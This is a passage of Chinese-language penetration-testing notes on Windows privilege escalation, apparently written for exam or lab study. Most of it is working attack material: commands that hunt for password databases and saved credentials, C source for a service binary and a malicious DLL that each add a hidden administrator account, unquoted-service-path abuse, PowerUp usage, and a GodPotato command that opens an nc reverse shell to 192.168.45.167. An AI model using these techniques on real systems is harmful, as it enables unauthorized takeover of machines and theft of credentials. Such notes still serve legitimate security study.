手动信息收集

常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 查看当前用户属于哪个组
whoami /groups

# 获取本地用户
Get-LocalUser

# 获取本地组
Get-LocalGroup

# 获取指定组内的成员
Get-LocalGroupMember adminteam

# 获取主机开放的端口连接
netstat -ano

# 查看已经安装的应用程序
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

# 查看进程信息
Get-Process

# 搜索所有的密码数据库文件
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

# 搜索配置文件
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue

# 查看当前用户属于哪个组
net user username

# 以其他用户权限启动cmd
runas /user:backupadmin cmd

检索历史记录

主要是Script Block Logging or PowerShell Transcription

1
2
3
4
5
6
7
# 检查历史命令
Get-History

# 如果上面的返回空,下面的命令更好,会返回一个文件路径,然后将下面返回的文件路径type出来
(Get-PSReadlineOption).HistorySavePath
如果返回了凭据信息,可以在kali上连接
evil-winrm -i 192.168.50.220 -u daveadmin -p "qwertqwertqwert123\!\!"

自动化信息收集

1
.\winPEAS.exe

利用Windows服务进行提权

主要包括劫持服务二进制文件、劫持服务 DLL、滥用未加引号的服务路径

服务二进制文件劫持

每个 Windows 服务都有一个关联的二进制文件

1
2
3
4
5
6
7
8
9
10
# 如果下面的命令在winrm或者bind shell中运行失败,可能使用rdp登录可以解决这种问题
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

# 获取服务的权限设置
icacls "C:\xampp\apache\bin\httpd.exe"
C:\xampp\apache\bin\httpd .exe BUILTIN\Administrators:(F)
NT AUTHORITY\SYSTEM:(F)
BUILTIN\Users:(RX)
NT AUTHORITY\Authenticated Users:(RX)
# 权限表如下
Mask Permissions
F Full access
M Modify access
RX Read and execute access
R Read-only access
W Write-only access

创建adduser.c文件并在kali上交叉编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdlib .h>
int main ()
{
int i;
i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");
return 0;
}

# Kali交叉编译
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

将adduser.exe放到目标机器上替换mysqld.exe

# 尝试重启mysql服务,一般会报错,普通用户没有重启系统服务的权限
net stop mysql
# 检查mysql服务的启动类型
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}

# 检查当前用户的权限
whoami /priv

或者使用PowerUp.ps1脚本检查是否存在脆弱的服务

1
2
3
powershell -ep bypass
..\PowerUp.ps1
Get-ModifiableServiceFile

服务dll文件劫持

Windows检索dll文件的顺序

序号 目录
1. directory from which the application loaded .
2. system directory .
3. 16-bit system directory .
4. Windows directory .
5. current directory .
6. directories that are listed in the PATH environment variable .

需要管理权限才能启动Process Monitor并收集程序加载的dll

如果没找到,可能是服务问题,此时尝试重启服务

1
Restart-Service BetaService

如果找到了服务未加载成功或者缺失或者可以替换的dll,则替换为恶意dll

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdlib .h>
#include <windows .h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL .
int i;
i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread .
break;
case DLL_THREAD_DETACH: // A thread exits normally .
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL .
break;
}
return TRUE;
}

# 编译
x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll

然后重启服务

检查exe文件中的dll

1
2
xxd xxx.exe
strings xxx.exe

如果是使用procmon进行监控的话,部分exe需要手动添加到服务然后启动

1
sc.exe create "Scheduler" binpath= "C:\Users\J0ker\Desktop\0626w\scheduler.exe"

使用procmon进行dll分析的话需要添加到服务,在public文件夹下

1
2
3
4
5
6
7
8
9
10
sc.exe create "Scheduler" binpath= "C:\Users\Public\scheduler.exe"
sc.exe start scheduler.exe
sc.exe start Scheduler
.\scheduler.exe
powershell
Start-Service Scheduler
.\scheduler.exe
net start .\scheduler.exe
打开procmon
Restart-Service Scheduler

可执行文件路径存在空格但是没有用引号

文件的路径包含一个或多个空格且未括在引号内

例如C:\Program Files\My Program\My service\service.exe,当Windows启动服务时,由于路径中有空格,它将使用以下顺序尝试启动可执行文件。

1
2
3
4
C:\Program .exe
C:\Program Files\My .exe
C:\Program Files\My Program\My .exe
C:\Program Files\My Program\My service\service .exe

可以将可执行文件命名为Program.exe并将其放置在C:\盘

或者命名为My.exe,然后将其放置到C:\Program Files中

或者My.exe 然后将其放置到 C:\Program Files\My Program\

1
2
wmic service get name,pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v """
Get-CimInstance -ClassName win32_service | Select Name,State,PathName

先检查是否有权限启动和停止服务

1
2
Start-Service GammaService
Stop-Service GammaService

检查权限是否可写(返回W)

1
icacls "C:\"

以如下为例

1
C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe

将shell命名为

1
2
Current.exe
放到C:\Program Files\Enterprise Apps\

有时候启动服务会报错,但是不影响shell执行

1
Start-Service GammaService

有时候PowerUp.ps1可以识别出

1
2
3
4
5
powershell -ep bypass
. .\PowerUp.ps1
Get-UnquotedService
Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"
Restart-Service GammaService

其他错误配置导致的提权

计划任务

1
2
3
4
5
# 查看计划任务
schtasks /query /fo LIST /v

# 检查权限
icacls "xxxx.exe"

Potato

1
2
3
4
5
6
7
8
9
10
11
SeImpersonatePrivilege权限

#PrintSpoofer
.\psf.exe -i -c cmd

#god potato
https://github.com/BeichenDream/GodPotato
.\gp.exe -cmd "cmd /c whoami"
# 上传nc到机器上
.\gp.exe -cmd ".\nc.exe -t -e C:\Windows\System32\cmd.exe 192.168.45.167 4444"
# 然后本地拿到system权限的shell